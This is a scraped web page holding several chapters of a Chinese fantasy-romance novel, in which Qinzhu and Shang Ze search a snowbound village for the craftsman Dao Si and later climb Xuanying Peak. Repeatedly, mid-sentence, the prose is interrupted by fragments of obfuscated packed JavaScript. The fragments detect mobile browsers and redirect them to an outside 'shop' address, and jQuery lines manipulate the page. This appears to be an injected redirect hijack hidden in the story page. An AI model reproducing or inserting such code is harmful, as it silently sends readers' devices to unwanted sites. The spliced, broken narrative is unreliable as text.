RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085310|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芩竹本也眼馋,说声“谢谢”便拿起来尝了尝,不愧是心想许久的东西,的确好吃。 “还有这个,”商则看着她笑,掏出个半圆的玉佩递给她,“我买的多,老板送了我这个,他说家里人见了一定开心。” 这个芩竹认识,就是何时成了买糕点送玉佩了? 她喝了口茶,拎起那个玉佩,说:“它看上去像是一对。” 商则扣手:“没有,就这一个,你安心带。” “真的?”芩竹淡淡扫他一眼,然后把那玉佩挂在了腰间,和旁边那个平平无奇的木牌子搭在了一起。 商则没忍住笑,勾起嘴角又压下去,清清嗓子再站起来,眉眼弯弯的,整个人看上去都很快乐,他整整衣襟,说要回去拿东西,然后跑跳着离开了。 这一套动作下来,刚好露出他怀里的穗子,细看能看出,是和芩竹腰间玉佩相配的另一个。 芩竹听着楼道里远去的脚步声,莫名觉得这糕点比刚才甜多了,于是端起茶杯抿了一口,放下时,才惊觉自己方才翘起的嘴角。 最近事情频出,果然还是平时的商则叫人喜欢……芩竹伸了个懒腰,决定赶紧走,走得远远的。 从这个决定下到梦想破灭,也不过半个时辰,究其原因,是商则不见了。不用猜他肯定是去了桂花村,可此时为白日,村中一切如常,要找他,必须得等到入夜。 芩竹和林时乐,驾着那辆熟悉的马车,等在离村外不远的地方。 太阳一落山,芩竹就要往里走,被林时乐及时制止。 白影实力太强,此番过去讨不到好,他们原本的计划是要等明夷来再做打算。 芩竹没说同不同意,总之是面色沉静的站着。 不过她这几日记起来一件事情,就是在玄英顶时,有些年纪较小的顽劣弟子屡教不改,就会被师兄师姐揍。 现在她这平静的面貌下,就是这样的心理。 有些手痒,很想揍人。 林时乐自然不知道她所想,站在一边叨叨些有的没的,说到一半,还想和芩竹讨论讨论,话题终结了两次后,干脆不说了,和她一样默默注视着远方。 忽然,漆黑的月色里爆出一团火光,接着一阵阴风荡开。 芩竹抬手挡了下,看着那处越烧越旺的火,有些不放心,急忙跑了进去。 村中房屋倒塌,阴风阵阵,月光暗了些,是乌云逐渐聚拢。 芩竹没在意这些,而是向火光的地方冲去,它们似乎是在移动,已经到了村旁的矮山上。 她快步赶去,林时乐也紧追其后,只见远处的林子里,站着两个形貌相同的人。 两个商则在这种环境下根本分不出谁是谁,而其中一个忽地抬手,匕首直冲自己胸膛,芩竹猛地反应过来,摘下腰间的玉佩甩了过去。 那匕首脱手,芩竹也刚好赶到,抓着他就要走。 可身后之人竟重如泰山,她一下都没拉动,转身看去,对面的“商则”耷拉着眼,略显委屈地看她:“我不也是商则么,你为何不来找我?” 又是些费口舌的事情,芩竹从来不太擅长,索性也不回答了,清心诀在商则身上点下,沉声道:“你还要不要和我如邵州。” “……要,你等等我。”商则眼神瞬间清明,发梢眼尾燃着火,撑着额头艰难道。 远处另一人脸色剧变:“没了我你会死,还想着去别处?痴心妄想。” 那人好像只需动动心念,商则就会失去理智,芩竹在旁眼睁睁看着他继续变回刚才那般模样,再无济于事。 “三魂七魄,他一个只有一魂一魄转世的灵,怎么能背离本体的想法,”另一个“商则”笑道,又装成平时商则对待芩竹时的样子,嘲讽道,“所以他本来就是我这样的人,却装作无害的讨你们欢心,如果他一开始便是我这般,估计你们就会像对待我一样,把他扔到一个无人的地方关起来。” 芩竹算是发现了,不论是哪个商则,胡说八道的本事都是相同的,她实在听不懂对面那人说的什么,专心让商则醒神。 那边的“商则”见被无视,也冷下脸,瞬间来到芩竹身边一把拉开了她,芩竹有所防备,反手挣开,就见这人冷笑一声,周身火焰暴涨,像是要用火埋了她。 芩竹急忙要躲,可奇怪的是,这火从她身上跳过,却一点不见灼热,不带任何杀伤力。 她也没空计较这些,余光看见林时乐背走商则,便不再和这奇怪的人纠缠,抬步便走。 “商则”徒留在原地,下一瞬,整个人消失不见,而林时乐背上的商则却在同一时间睁开眼睛。 天生异象,雷声轰响。 “商则!不可!” 56. 雪中村 芩竹陡然惊醒,手上的缰绳被向后猛扯,马车也因为这一举动急急停下。 她惊出了一身冷汗,俯身捂着胸口,寒风在耳边呼啸,这一吹,将她浑身的汗拂了去,留下一身鸡皮疙瘩。 天气阴沉,满地大雪,她闭了闭眼再睁开,腿脚又是一层细雪。 无边的寒冷终于把她从刚才的梦境里拉回现实,芩竹没控制住哆嗦了一下。 忽然,身边移来一人,从她手里接过了缰绳,轻轻把她揽进怀里,芩竹只听他胸膛震动,发出一声短呵,马车再次稳稳走了起来。 “又做梦了啊,你这几日觉多了些,有没有哪里不舒服?”商则揽着她肩膀的手上移,盖在芩竹脑门上,过了会故作说教,“就说你穿得太少,数九寒天的,怎么不让那李小姐给你做个狐裘。” 芩竹困蒙着,他既然按着她,她也就靠着没动,阖着眼道:“都做了一身了,不能总是麻烦,而且那时候我不冷,这会——也不冷。” 她认真感受了下,估摸着那会只是因为刚醒过来,神思不稳。 “那便好,这车再坐一会,就快到了。”商则拍拍她的头发。 这些日子不管是商则还是姜绾她们,自从得知了她做一些怪梦以后,只要她梦醒就会来问问情形,而这次,商则却闭口不提,芩竹自然也没有主动去说的习惯,这件事就被忘在了脑后。 那店在峡州边上,再往东不远就进了遂州。 到时正是黄昏,几人停了车,进店修整。 芩竹进来便向店家询问了刀四的下落,店家还奇怪,说刀四消失许久了,之前李家来人找过,也是无功而返。 她知道这事,就提了一嘴,刀四曾经到过这个小店,并且描述了装扮。 店家还真有印象,姜绾大喜,赶忙问,刀四有没有留下什么东西。 来店里吃饭,还能留下什么,自然是银钱了,可这东西收到一处,谁还能知道哪个是哪个的,姜绾也是问完才想到这个问题,叉着腰叹了口气。 谁知,那店家听闻思索一番,还真叫他想起了什么,快步走到台后翻出了个盒子,避着旁人打开,众人一看,竟然是一盒铜币。 “我就说那怪人印象深刻,是他走时留了这个盒子,如果不是看你们几个小姑娘我也不会说,这盒中的几贯铜币里,有几个是私铸的,可剩余钱财却是实打实,我们钱都拿了,也不好报官,就这么放着了。” 店家把盒子推过来,还不忘再三解释,这真的是别人留下的。 几人围着盒子看了许久,都没发现店家指出的铜币和官印有何区别。 听他说,自己摸钱久了,轻微的差错都能感受到,但就是他,对着钱币的模样也得迷糊,做成这样,也得费大力吧…… “是啊……”麦子攥着那铜币感叹。 但不管怎样,好歹是有了线索,几人只取了其中的私铸铜钱,那店家巴不得她们赶紧拿走,笑得和花一样将人送了出去,还每人抓了把瓜子。 跟着姜绾的指示,她们又往西行,一直到了个埋在雪中的村子,才停下脚步。 这村子在地图上都没有标明,没有名字,因为到时已是快入夜,更是连个人也没有。几人架着车在村中乱逛了一圈,寻着指引,停到了村后的一家破财小院前。 院子杂物堆积,厚雪覆盖,看不出原貌,显然就无人居住了。 芩竹几人下了车,想进院里看看,刚好这时,身后的雪地里传来急促的赶路声,一扭头,是个缩着脖子背着包袱的青年。 两方一对视,那人扭头便走,被商则闪身拦了下来。 “哎呦!少侠饶命!”这青年二话不说就跪,看得商则直皱眉,避开他这动作。 “我们就是来问个人,大哥何必惊慌。”麦子疑惑。 那青年了然,拍拍腿上的雪站起来,指着几人面前的小院问,是这家?得到一串点头后,才道:“这家人早就死了,臭在屋子里都没人管,也是奇怪,除了你们之前还有不少人也来问话,真是不知道这芝麻大点的破地怎么这么招人。” 芩竹追问:“之前来的人都作何打扮,有无印象深刻的?” “起初是个怪人,拿吓人面具遮着脸,还戴着帷帽,后来他就不多来了,变成一些探子打扮的人,搞得村里乌烟瘴气的。” 她们又问了一些关于这户人家的信息,大概得知,村民们都不知道刀四的真实身份,只知道他经常闷在屋里,时不时传出一些怪声,像是在敲打锻造。 还有那个臭了的尸体。 大家都觉得这家里的男人长的些许女气,身子也是瘦弱单薄,常年不见日光,脸上白净的连颗痣也没有,死的那日就尤为吓人,总觉得他要诈尸蹦起来。 青年说着,边往旁边身后的小院那处挪步,讪笑道:“几位问完了吧,小的家中还有妻儿等着,先走一步。” 说罢,就快步溜了。 “看见这家人死了,可刀四踪迹还在,又说他脸蛋嫩白,那之前说的长疤又是怎么回事?”姜绾绕着手指,奇怪地看着几人。 众人皆是一头雾水,想不出也就不想了,推开院门走了进去。 脏乱程度可见一斑,说人死了无人打理的可信度非常高。 这小院木屋后面还有个院子,和前院一样,几人在这里翻翻找找,半个人影没见着,只找到一堆木人石人铜人,都是半个手掌大,许许多多的扔在屋里院子里的各个角落。 乍一看还有些怪异。 麦子猛地盖上刚刚揭起来的已然发霉的被子,搓搓自己胳膊上的鸡皮疙瘩——那床上摆着整整齐齐一串小人,瞪着眼睛看过来,反正她受不了。 看着其他人翻箱倒柜,她干脆就在桌椅柜子上随意摆弄着,有一个柜子太高,她抬头,见房梁上挂着的筐上垂下来一截麻绳在那上面,柜子角,有个看似从筐上掉下来的玉米棒。 她多看了两眼,便转身去往一边,恰好和回头的芩竹对上眼神,那人也顺着她刚才的视线望去。 “梁上挂了太久,绳子磨断了一截吧。”麦子说。 芩竹走过来,踮起脚伸长胳膊拍了下那个突出来一头的玉米棒,没拍动。按理说这东西轻巧,应该一巴掌能打老远。 麦子也奇怪,便从旁边拉来桌子踩着上去,才看见棒子的一头连着麻绳,她一拽,也没拉动,又用大力去拔,依旧没有动静。 她们的举动将旁边两人也吸引了过来,姜绾不清楚麦子具体在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093518|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只知道她好像在拿东西,于是开口:“是不是卡住了,你扭一下?” “什么了就扭一下?” 麦子嘴上不忘怼她,手上却听话往拧动,这一下便尤为艰难,她刚想说这法子不通,手下忽然一顿,众人似乎听到了“咔”的一声,只见房梁上的筐瞬间掉下,连着棒子的麻绳绷直,整个院子“轰隆”一声震响。 后院好像有什么东西? 可他们现在也没法将思绪放在那处,因为当下这房间里,突然从床下柜子里跳出了一堆小人,动作诡异地向他们扑来。 这小小一个不具有什么杀伤力,但力气却很大,麦子本就不喜欢这些看起来瘆人的小玩意,本是要一脚踢飞几个,却反被它们拽住了裤腿轻易一扯就要从桌上栽下去。 眼看着就要撞到尖角头破血流,芩竹赶紧从后方伸手将人拉回来,回头看,姜绾早就被一堆小人埋得严实,只顾着喊救命了,连自己身处何地都有点迷糊。 商则此刻抱胸站在三人面前,稍显无奈地烧着朝他而来的小人。 芩竹从慌乱的夹缝中看见他的动作,眼神便朝自己身上示意,而那人一摊手:“我一把火,她们就也成灰了。” 是哦。 她从那俩人中间挤出来,说:“这些东西是有术法支撑,姜绾……有些忙,你去——” 她话还没说完,身上的小人已经被烧没了,商则拍拍手拉她去了院子,说:“你找吧,这东西我不太擅长。” 芩竹得了自由,不用他说就在院子里扒拉起来,此时发现,院里的雪好像比来时低了,刚刚几人在上面踩出的脚印也乱了,有的甚至已经不见。 这里还有一些稍大些的铜人,半个腿高,见他们来提着小剑就要扑上,被商则一挥手弹开。 而它们本就不知疼痛没有生气,飞出再扑上如此往复,芩竹就听着耳边的乒乒乓乓,在墙角雪堆里翻看。 刚刚有一处,也是半腿高的持剑铜人,却没有得生机,双眼的位置抹了两笔红痕,额上有一指甲盖大的光滑圆形。 她便在院里相似的位置继续翻找,同样的找到了四个,前院亦是,可找到能如何,又不能破坏掉。 天越发的黑,廊上来时点的灯火也不太管用了,芩竹站定看着眼前的这个铜人,忽然发现它额头上的圆形在发亮。 她避开身,这个角度尤甚。 于是便顺着这铜人仰头的角度往上看去,发现房檐下面,竟然卡了个半大的铜镜,那之后,连着条麻绳。 商则本来还在无聊地把那些铜人当球踢,看见芩竹的动作,转身一看,接着把刚刚好冲他跳起的铜人拿脚一勾,一把丢了上去。 直接将那镜子砸得凹凸不成样,而身边本来活力满满的铜人也突然没了动作,一个个啪嗒啪嗒地倒下。 芩竹站在院里,见此情形还在奇怪,想着关于院里震动的事情,就觉得地面突然一滑,自己身子不稳猛地摇晃了一下。 还不等她意识到不对赶紧跑,后院的地面就整个下陷,失重感袭来,眼前便一片黑暗。 从里面赶出来的姜绾和麦子,也只来得及看见一片鲜红的衣角飞入雪地中,两人对着后院大洞目瞪口呆。 又来? 57. 雪中村 这洞不太深,不知是不是芩竹有了一次经验,下落时早早反应过来调整了姿势,然后便有一人兜头扑来,芩竹对这一下倒是非常意外,僵着身子任他抱着,“扑通”一声,压着他滚在雪堆里。 芩竹赶紧爬起来去拉商则:“没事吧?” 那人在雪上展臂躺着,胳膊被她拉了两下之后,反手一扯,芩竹蹲着身子不稳,又一下栽了回去。 “哎呦……”商则喟叹一声,拍着芩竹的背,继续道,“真凉快。” 芩竹闷在他胸脯上,艰难仰起头要起身:“你也不看看这是哪?放开。” 商则摇头,还未开口,就听见两道惊呼:“哇,你们干什么呢?!”他顿了顿,不情不愿地放开手。 芩竹扶着脑门爬起来,不留情地在他胸口拍了一巴掌将人拽起来,一回头,发现姜绾两人提着灯笼站在身后,那是她和商则掉下来的洞口,厚雪下面,是一节节台阶。 这洞里居然还修了楼梯。 “他刚才干嘛了?”姜绾从台阶上走过来想去拉芩竹,又被麦子一个手快拦下来,清了清嗓子说,“那个,我们本来没打算过来,但是有楼梯……就下来看看。” 芩竹对她们来没有意见,也不知道为什么要解释,低头看了眼腰间震动的器物,随意摆了摆手才得以空闲来看看这洞内的景象。 这么一瞅,还挺宽阔。顶很高,空间很大,就是他们几人站得地方略小一些,向前三步远便成了深坑,底下泛着寒光,细看应该是有密密麻麻的尖刀,深坑约莫十几丈,对面是个紧闭的大门,没有连接的桥梁,只中间有个孤零零的木桩。 旁边几人也跟过来看前面深坑的样貌,姜绾看看那桩子咋舌:“这人吧,这么大个坑都刨出来了,怎么到这里反偷工减料。” 麦子怼过去:“和这有什么关系,一看就是不想让人过去。” “谁不知道啊,我就是说说。”姜绾抱胸。 芩竹看看她们两,问:“你们还要过去吗?” 那两人互相对视一眼,瞪着眼睛转过脸来,仿佛再说:你看看我们像是能去的样子吗? 也是。 “那我和商则过去,你们在村里找个店休息休息,之后我再去找你们?”芩竹问,另两个反正也没法过去,这大晚上还不如睡觉去,说完,两人就听话的返程,还不忘给他们留下两个灯。 商则在深坑边缘观察一番,缓缓一挥手,火焰从他手中喷出,在大坑上方认真烧了个遍,芩竹看着,微光打去的地方有些短截的线从半空落下,又看看底下的尖刀。 大概这些线就是控制刀的开关了? “搞定,我带你?”商则拍拍手,朝她伸开胳膊,芩竹自觉地攀上,那人微微一笑,搂着她的腰轻松跃起,又在中间那木头上虚虚一点,稳当落在对面的门前,抬脚就踹,芩竹压根来不及阻止,干脆闭上嘴。 大门很重,他这一脚过去也只是开了不大的缝隙,刚好够两人过去。 突然,门缝中射来几只箭矢,芩竹立刻闪身,商则怀中一空,还想伸手将她捞回来,却又碍于那偷袭的暗器,站在原地一把火烧得更旺,直接把大门推开的完全,快步进去揪出来了个人。 这人罩在宽大的衣袍里,浑身哆嗦,惨白的手上捏着把小刀,露出小截下巴,上面布着一条长疤。 芩竹走进来,门后就像是个地下的翻版院落,除了没有阳光花草,其他都和地上一致。他们进来的这里,看着倒像个地下室打扮,角落里堆着各式各样的材料还有工具,前面是个一些摆得凌乱的柜子和箱子。 “刀四?” 装扮像刀四的人握刀的手紧了紧,微微耸肩挣动两下,发现没什么作用后,瞬间将刀扔向对面的芩竹。 商则轻嘶一声,看见芩竹随意地避开抬手把刀攥住,旋了一圈拎在手里向刀四走去。 “我们没有恶意,就是想问你一件事情。”芩竹说完,觉得似乎有些不妥,看了眼还提溜着人的商则,那人接到眼神,默默松手。 刚一放开,刀四就像兔子似的呲溜一下窜到那些箱子后面,只听“哐当”一声,那人直起身又奋力下压,不知道按了什么下去,四边墙上掀开了几个好几个口,破空声随之而来,数十道短刺向中间的芩竹二人射去。 商则面不改色,一挥手,短刺被焰光阻挡,下一刻火焰腾起,那些短刺尽数弹开,乱七八糟地钉了一屋。 其中有一个不小心砸在了刀四藏身的箱子拐角,那人受到惊吓,被这短刺吓得一屁股向后坐去发出一声惊呼,又被商则一把给逮了回来。 芩竹疑惑看去,这声音,怎么像个女子? 刀四被拽过来,商则动手没有轻重,又怕她和刚才那般跑了,于是更是仔细,揪着后领带来的,可能刚好抓了她的头发,这人仰着头痛呼一声又闭上嘴,最后依旧闷不吭声的将自己缩在帽子里。 “不好意思,我们无意打扰,这些损毁都会赔偿,冒昧拜访只是为了询问一件事情。” 刀四不动了,但芩竹能感觉到她帽子下的眼神在打量她,芩竹也放缓声音,掏出一个木人:“这个,是谁请你做的,还有上面的印花,有稿子可以让我们看看吗?” 遮着黑色帽子的脑袋动了下,应该是想伸头来看,伸到一半又因为商则拽着头发动不了,所以卡住了。 罪魁祸首不知道,芩竹也不知道,只以为她是不太敢做大动作,于是自己把木人又往过伸了伸,刀四大概是看见了,还打了个哆嗦,小幅度地点头。 “我……你们,放开我。”她说话声音很小,芩竹也是凑近了第二次才听清,便让商则放了手,刀四吃了教训,也不敢再乱动,整个人微微缩着肩,向芩竹道,“是,一个戴面具的人来买的,付了重金留了图纸,是我哥哥接的活。” “你哥哥?” 芩竹顿了下,忽然反应过来她哥哥是谁。 怕不就是先前村民说的那个已故的刀四。 刀四不清楚她的反应,自顾自说着:“图纸在隔间,我,咳咳,我要过去拿。” “带路。”商则突然出声,话里不带任何感情,把刀四吓得一激灵,跨出去的脚又缩回来,听清楚他说的是什么之后,忙忙点头,然后小步往过挪。 芩竹示意他先去,自己则是敲着腰间的玩意在屋子转了一圈。 自从找得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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话还没说完,那人已经“扑通”一下跪了下去,缩成一小坨,抖着声音道:“我不是故意拿的。” “那你知道是哪一个吗?” “是带着痣的那一个。” 两人听后,开始比对着木人的相貌,然后继续“开膛破肚”,最后成功挖出来了一个碎块。 倒是比前几次省力多了。 芩竹看着底部快平滑的黑色器物终于满意了些,把东西放下开始看那图纸。 商则没东西玩了,就把她放到一边的小版神像拿起来看着,说:“又是玄英真君,你还专门雕了个神仙给你看门啊?” 这话是对着刀四说的,但她也是反应了一会才意识到,带着些不确定道:“我吗?” 商则回以看傻子的表情。 然后刀四就急了,慌忙说:“没,没有,我从来没刻过。” “你没……” 芩竹也抬头看过去,又回想了下刚才那门后丝毫没有被破坏的样子。 她没有,是有别人偷偷潜入放进来的? 商则把神像在地上摆正,嫌弃道:“这破地方还真不安全。” 58. 雪中村 一番盘问后,刀四见事情已经在自己意料之外,只好全盘托出。 刀四原是她哥哥的名字,她本名叫小寒。兄妹俩一同靠着做些雕刻手艺生活,有一日,刀四被那面具人找到请求雕刻些小木人,左看右看也不是什么难事,就接下了。 结果到了在木人上刻纹路的时候犯了难,竟然无论如何也刻不上去,要不就是满头大汗临了临了,这木人便碎成了一块块,实在叫人摸不着头脑。 那段时日刀四的身体日渐消瘦,面具人也催得更紧,小寒看在眼里奇怪得很,便趁他不注意偷偷拿来对着图纸刻了一半。 也不是什么难事嘛。 正要将那剩余的一半也刻上,哥哥来了,将她呵斥去了一边,自己继续闷头较劲。 小寒得了骂也是气愤,缩回自己屋子,隔了一日,那面具人又来了,看见只有一个木人时态度更加恼人,指着他们的小屋子便骂。 “你知道这是谁要的吗,翠英谷那位要的!再有三日完不成……”那人忽然放小了音量,小寒看见他凑近了她哥哥,不知说了什么,刀四立刻给了他肯定的答复。 小寒直觉这事奇怪,哪怕刚才有气,这会也不愿再闹别扭,等那人走了之后走过去,想要帮哥哥的忙,却又被阻拦。 她气急,和刀四理论,那人只说这东西不好,不能胡刻,又让她收拾东西,说要搬家。 小寒更加迷惑,就听刀四说:“我那日听到他在和一个符说话,是通往玄英顶的,说找了许久,只有咱们能做这单生意,其余不成的都被处理了。” 刀四沉着脸,继续一下一下地在木人上刻着小符。 “咔”的一声,木人裂了道长纹。 “玄英顶不是国师的师门吗?传说那里不是个修得凡仙的地方吗,是除魔卫道的啊。”小寒小声道,把旁边一个新的木人拿过来给他。 刀四摇摇头:“万事不能一概而论,妖还有善恶,哪怕人呢。等哥完了这单,咱们就离开这里。” 话是这么说,可刀四手里那个木人又碎了。 两人对视一眼,小寒继续给他换上一个新的。而就在这拿东西空当,刀四手中的刀刃忽然断掉,刀片翘飞,擦着她的下巴飞了出去,顿时鲜血四溅。 刀四一顿,慌忙按着她止血,又将人带离这片地方,神情严肃地嘱咐她不准再动木人和图纸。 而小寒也是疑惑,为何那般坚硬的刀竟会断掉。 过一日,眼看那东西要完成,面具人又来了,说要将木人里面本来嵌好的黑色碎块拿走,刀四无法,只得照做,而小寒在后面看着,在刀四拿出来后,偷偷又自己敲掉了一小块藏了起来。 “再之后,我和我哥就跑了,将那木人留在房里,结果这一路都不太平,后来逃到这里,那伙人也追过来,说‘只要刀四的性命’,我哥那时候身体不知道染了什么怪病特别差,知他跑不掉,便……甘愿赴死了。” 小寒憋着哭缓缓说着,“他说自己死后就不会再有人来找我,但是我还是害怕,就一直躲在这里,那个碎块我拿走也不是要做什么,就是想着如果那伙人找来了,我说不定能拿它换回一条命。” 芩竹边听她说,边看着手里的图纸,上面的符文整齐写着,不是很多,和手里那个木人对比就更是少,一问小寒才吞吞吐吐的交代,说路上逃命弄丢了。 她将那图纸收好,浅浅叹了口气:“这符文应该涉及某种禁忌之术,你们没有庇护,全数刻完就会损害身体。” 她站起来看看这地下的环境,转过去对小寒说:“他们既然找到过你却又没有杀,自然是不在意你的性命了,此地不易,姑娘还是去别处好好生活吧。” 小寒还在一堆问题里纠结,听她这么说,表情空白了一瞬,又被芩竹喊回神。 “你这里怎么出去?原路返回吗?” “哦哦,不是的。”小寒赶忙爬起来,在大门旁边的机关上一按,门开,刀湖上升起一条长桥,楼梯口处的洞口也开了,微微荧光中落下雪来。 小寒抿了抿嘴,小声说:“你们走吧,我,我会好好想想的。” 话说到此,也不必再说了,芩竹点头,和商则一起告辞了。 两人从洞口出来,回头一看,才发现这是小院另一头的外面,他们再往里瞧瞧,院中的大坑已经合上,雪没了一层。 芩竹收回眼神,伸了个懒腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120617|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和商则在村里寻找另外两人。 “这回怎么办?要去玄英顶?”商则忽然开口。 芩竹扫他一眼,答:“去,为什么不去,而且——” 那不是咱们以前住过的地方吗? “我只是觉得奇怪啊,玄英顶里的师兄弟对你关爱有加,怎么你在外漂泊失忆,却没有一人来寻你呢?”商则自己和自己琢磨着。 “你不也是。” “这倒是。” 芩竹没有再回答,而是回想之前梦境的最后一幕。 那一幕格外清晰,整个梦境也只有那一瞬间的清明,还有耳边的雷声。 所以那是三年前的常山? “你不是说你能告诉我之前都发生了什么吗,怎么现在不说了?”芩竹突然提到这个问题。 商则轻哼一声:“那是让你不来找东西的交换,你又不和我换,我也不说。” 芩竹抱胸认认真真盯着他的脸,摸摸下巴平静道:“我怎么觉得是你也不知道,比如在常山那些雷劈下来之后,咱们是怎么活下来的,你又是怎么成了现在这个样子。” 她扬扬下巴,商则回看过去,提了提嘴角,没说话。 看他这样的表情,芩竹又感觉不对,商则一定是知道些什么的。 商则的余光里,芩竹一直在用眼神锁定他,他偷偷藏笑,然后转过来俯下身:“来,我告诉你。” 芩竹乖乖凑过去,耳边微微痒意飞过,她听见他说:“天神降临。” 胡言乱语。 她直起身,不打算信这件事。 “你看你,我说了你又不信。”商则笑嘻嘻地跟在后面搭上她的肩,两人在雪夜中前行。 行了半晌终于找到一家破败小店,一夜无梦第二日,看到了在楼下等着的姜绾和麦子。 那俩人看起来表情如临大敌地谋划些什么,看到她和商则才恢复正常。 “我们差点要回去找你了。”姜绾说,又问了他们昨夜发生的事情,听见他们要去玄英顶后更是激动不已,嚷嚷着,“那可是传闻中的地方,咱能走到吗?” 麦子仔细思索了一下,“大概是可以的吧,试试呗!” 59. 玄英顶 梦里的日央山,万物争荣,美不胜收,而此刻芩竹站在山下的小村中时,看到的却是无尽的白雪,风雪竟是比来时还要大,像是将整座山封住了。 芩竹她们在村中没有停留多久,直直往山脚下去,碰到一个从山中走来的村民。 那人看他们几人的穿着,以为是过路人,好心提醒说,这条路是通往玄英顶的,越往上越难走,没有仙缘没有毅力的人,每一步都会像走在刀刃上,如果要翻山,还是走另一条路稳妥。 几人面面相觑,也没说要不要去,先谢过他。 姜绾和麦子看着藏在大雪里的路,看都看不清,抬头瞅那高耸入云的山,都觉得眼犯花。 两人都在对方的眼里看出了意思,她们很有自知之明,怕是上不去,白白丢了小命。 “果然传说就是传说,我俩就在这山脚下等你们吧,有事可以用传音符。”麦子道。 姜绾抱着手臂搓了搓,揉了揉冻僵的鼻子,想起什么,拉着麦子说:“要不这样,咱们先去之前听说的那个大神像的地方?反正都是玄英真君,那地方万一也有什么线索呢,说不定我们还能帮你找一个出来。” 她说的是先前来的路上听见的消息。 说是前些日子西边的山河宝地处,那尊耗时许久的神像可以来人参拜了,好多人都去了,只不过看热闹的还是占大多数。 听她们要去那里,芩竹也没有意见,知道了目的地如果出了意外她也能很快赶到。 “路上注意安全。”芩竹嘱咐。 姜绾抱着她的胳膊晃了晃,皱着眉头说:“别光说我们,你惦记着自己,如果那玄英顶实在上不去,咱就不去了。我和麦子都说好了,之后就在陵南定居,好好生活。” 麦子就笑,也拍拍她的肩。 如果是这样,也未尝不可。 芩竹想了想,竟然真的有些好奇那样的日子,她眨眨眼睛,说:“好。” 四人分开,一路向山上,一路向山下。 商则侧头看了眼默默注视着山路下方的芩竹,抱胸用手肘撞了下她。 山路堆着雪,芩竹被撞得一歪,脚下就呲溜打滑,身子一闪,又被商则拦腰捞回来。 “这么舍不得啊……那要不就听她们的,这山不上也罢。”商则笑着看她。 芩竹推开他的手站直,转转肩头,伸手去拨身侧的枝丫。草枝被按得下落,放手再向上弹去。冻冰的雪簌簌落下,砸在地上。 “不行啊,”芩竹抬脚把旁边的雪踢开,叹出一口白气,“都到这里了,上去看看。” 接着,便一步一步向山上登去。 来时是正午,虽说大雪遮住日头,天色和下午没什么分别,但好歹是亮堂的。上山路又陡又滑,他们不知爬了多久,直到天色变黑,前头光景还是一般。 芩竹站定换了一口气,从怀里掏出那捂着热的酒壶,仰头喝了一口,又交给商则。 她看那人撑着膝盖直起身,冲着她摆摆手,看着不太精神。 这一路上来芩竹都没有感觉到身体有什么不适,那村民说的脚下如刀割的痛楚也没有体会到,顶多就是登山久了有些累的慌,便也以为商则和她同等情况。 可刚刚看来,怕是不同。 她凑过去问:“还好吗?” “好,”商则叉着腰抬起一只手去搂她,“怎么不好,这条路我走过多少遍了。” 是啊,梦中那抹红衣上山下山和风一样,怎么可能有事。 芩竹拍拍他搭在自己肩侧的手,还是问了一遍:“真的没事?我也可以自己去。” 商则只是摇头,再直起身扬了扬下巴,眉眼笑眯眯地望向她:“当然。” 山腰的雪更大,大风裹挟着雪粒几乎让人睁不开眼睛,芩竹眯着眼,睫毛上的雪化成水融进眼角,她不自禁地提起点嘴角,轻轻点点头,朝他伸出手。 这表情细微的商则还以为是自己看错了,他愣了下,极快地握住芩竹的手,在说出口的时候又稳住语气:“你……刚才对我笑了。” 他话语肯定,也不需要芩竹回答是否了,而她尽管自己没察觉到,却还是下意识拂上嘴角,又按照笑容的样子勾勾嘴角,说:“嗯,笑了。” “是对我笑的。”那人强调,耳边呼呼风声伴着他的笑意。 芩竹拉着他一步步往上,回答:“有吗?” “有啊!” “那就是吧。” …… 越往山顶越冷,芩竹的手已经冻的没有知觉,被商则拢在手心捂着,她慢慢往上,却能感觉来自手臂的阻力变大。 她没有说话,只听着商则压制后略显疲惫的声音。 商则是器灵,不算人,若说仙缘的话,还是勉强求求,可一路走下来,他的确不寻常,本体的碎块分布在各个阴气极重的地方。 若要说阴器现世之灵就是他,还真的能对上号。 但芩竹现在想的也不是这个,而是要真是如此,那求仙道势必是不可能让他上来的,当下踏上山的每一步,恐怕都万分艰难。 思及此,芩竹放慢脚步想回头看一眼,目光所及之处就是商则直直压来的胸膛。 她赶紧伸手撑着他,忙道:“你在这等我。” 身上的人发出两声轻笑,喉结和胸脯在她身上震动,芩竹听见他说:“可我好歹也在这生活了一年,现在竟然连回家都做不到……应该算是家吧,虽然人都不在了。” 